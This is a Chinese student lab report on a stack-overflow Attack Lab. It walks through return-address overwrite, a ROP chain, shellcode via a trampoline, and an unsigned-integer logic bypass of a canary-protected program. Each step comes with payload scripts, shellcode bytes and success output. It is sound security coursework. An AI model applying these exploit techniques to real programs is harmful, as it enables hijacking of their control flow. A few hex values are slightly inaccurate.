

栈溢出攻击实验报告

题目解决思路

Problem 1: 基础栈溢出

- 分析:

通过 objdump 反汇编 problem1，我发现 func 函数中调用了 strcpy，这是一个不安全的函数，未检查输入长度。

观察汇编代码：

```
401246: 48 8d 45 f8          lea    -0x8(%rbp),%rax
```

缓冲区起始地址位于 rbp-0x8。在 64 位 Linux 系统中，栈帧结构为

[Buffer] -> [Saved RBP] -> [Return Address]。

Saved RBP 占用 8 字节。因此，从缓冲区头部到返回地址的偏移量为：

$$8 \text{ (Buffer)} + 8 \text{ (Saved RBP)} = 16 \text{ Bytes}$$

我们的目标是将返回地址覆盖为 func1 的地址 (0x401216)，从而劫持控制流。

- 解决方案:

使用 Python 脚本生成 payload。利用 padding 填充满偏移量，紧接着写入目标地址（注意遵循小端序存储）。

```
import sys

padding = b'A' * 16
target_addr = b'\x16\x12\x40\x00\x00\x00\x00\x00'

payload = padding + target_addr

with open("ans1.txt", "wb") as f:
    f.write(payload)
```

- 结果:

```
● caleb_1127@localhost:~/attack-lab-91caleb$ python3 exp1.py
./problem1 ans1.txt
Generating payload with length: 24
Done! Run: ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
```

Problem 2: ROP 链与参数传递

- 分析:

本题的目标是调用 `func2`，但该函数内部检查了参数：

```
401225: 81 7d fc f8 03 00 00  cmpl    $0x3f8,-0x4(%rbp)
```

在 x64 架构下，函数的前六个参数通过寄存器传递，第一个参数位于 `%rdi` 寄存器。因此，单纯覆盖返回地址无法满足参数要求。

我们需要构造 ROP (Return Oriented Programming) 链：

- 利用 Gadget `pop rdi; ret` 将栈上的数据弹入 `%rdi`。
- 跳转到 `func2`。

通过搜索汇编代码，在 `0x4012c7` 处找到了可用的 `pop rdi; ret` 指令。

- 解决方案:

构造的栈结构为：[Padding] -> [Gadget Address] -> [Argument `0x3f8`] -> [Func2 Address]。

```
import sys
import struct

padding = b'A' * 16
pop_rdi_addr = 0x4012c7
arg1 = 0x3f8
func2_addr = 0x401216
rop_chain = struct.pack('<Q', pop_rdi_addr) + \
            struct.pack('<Q', arg1) + \
            struct.pack('<Q', func2_addr)

payload = padding + rop_chain

with open("ans2.txt", "wb") as f:
    f.write(payload)
```

- 结果:

```
● caleb_1127@localhost:~/attack-lab-91caleb$ python3 exp2.py
./problem2 ans2.txt
Payload length: 40
Done! Run: ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

Problem 3: Shellcode 与 Trampoline

- 分析:

本题开启了 ASLR (地址随机化)，且没有明显的 ROP Gadget 来设置 %rdi 为 114 (func1 的要求)。

分析汇编发现程序存在“后门”机制：func 函数将当前的 %rsp 保存到了全局变量中，且 jmp_xs 函数会跳转到 Saved RSP + 0x10 的位置。

计算发现，Saved RSP + 0x10 正好指向缓冲区的起始位置 (rbp-0x20)。

因此，我们可以利用 Trampoline 技术：

- 在缓冲区中注入 Shellcode (机器码)，功能是设置 %rdi=114 并调用 func1。
- 将返回地址覆盖为 jmp_xs 的地址 (0x401334)。
- 程序返回时跳板至 jmp_xs，再跳回栈上的 Shellcode 执行。

- 解决方案:

编写汇编代码并转化为机器码作为 Payload。

```
import sys
import struct

shellcode = b'\x6a\x72\x5f\x48\xc7\xc0\x16\x12\x40\x00\xff\xd0'

padding = b'A' * (32 - len(shellcode) + 8)

jmp_xs_addr = 0x401334
ret_addr = struct.pack('<Q', jmp_xs_addr)

payload = shellcode + padding + ret_addr

with open("ans3.txt", "wb") as f:
    f.write(payload)
```

- 结果:

```
caleb_-1127@localhost:~/attack-lab-91caleb$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

Problem 4: Canary 绕过与逻辑漏洞

- 分析:

Canary 保护机制:

本题开启了“栈金丝雀”保护，这是一种防止栈溢出的机制。

在 main 函数汇编中可以看到：

i. 设置 Canary:

```
142f: 64 48 8b 04 25 28 00    mov    %fs:0x28,%rax ; 从 FS 段寄存器取随机值
1438: 48 89 45 f8            mov    %rax,-0x8(%rbp); 放置在 Buffer 和 RBP 之间
```

ii. 检查 Canary:

```
1596: 48 8b 45 f8            mov    -0x8(%rbp),%rax
159a: 64 48 2b 04 25 28 00    sub    %fs:0x28,%rax ; 检查值是否改变
15a3: e8 28 fb ff ff        call   __stack_chk_fail@plt ; 若改变则报错退出
```

由于无法简单覆盖返回地址，我转向逆向分析程序逻辑。

func 函数将输入值与 -2 (0xfffffffffe) 进行比较。使用的是 jae (无符号大于等于跳转)。

如果输入 -1 (0xffffffffff)，它在无符号意义上大于 -2，从而绕过后续的减法循环，直接触发胜利分支：

```
13df: cmpl $0xffffffff, -0xc(%rbp) ; 检查是否为 -1
13e3: je 13f6                  ; 跳转到胜利
```

- 解决方案:

不需要编写二进制 Payload。通过与程序交互：

- 输入名字和确认 "yes"。(好像这里输出no也可以)
- 在询问金额时，输入 -1。

程序会将 -1 解释为无符号最大整数，从而通过逻辑检查。

- 结果:

```
● caleb_1127@localhost:~/attack-lab-91caleb$ ./problem4
hi please tell me what is your name?
Caleb
hi! do you like ics?
yes
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

思考与总结

通过本次 Attack Lab 实验，我深入理解了栈溢出攻击的底层原理及其演进过程。

1. **攻击技术的演变：**从 Problem 1 最简单的覆盖返回地址，到 Problem 2 利用 ROP 技术进行参数传递，再到 Problem 3 利用 Shellcode 和 Trampoline 配合绕过 ASLR，难度层层递进。这展示了攻击者如何在限制条件下寻找突破口。
2. **防御机制的认识：**Problem 4 让我认识到了 Canary 保护的有效性。它使得传统的连续覆盖攻击失效。但同时也揭示了，即使内存保护再完善，**程序逻辑漏洞**（如整数符号问题）依然可能导致系统崩溃或被劫持。
3. **工具的重要性：**熟练掌握 objdump 查看汇编代码、gdb 动态调试以及使用 Python struct 库构造二进制流，是进行底层安全研究的基础技能。

这次实验不仅锻炼了我的逆向分析能力，也让我明白了“安全编程”的重要性——不仅要防范内存错误，更要严谨设计代码逻辑。

参考资料

1. Randal E. Bryant, David R. O'Hallaron. *Computer Systems: A Programmer's Perspective (3rd Edition)*. Pearson, 2015.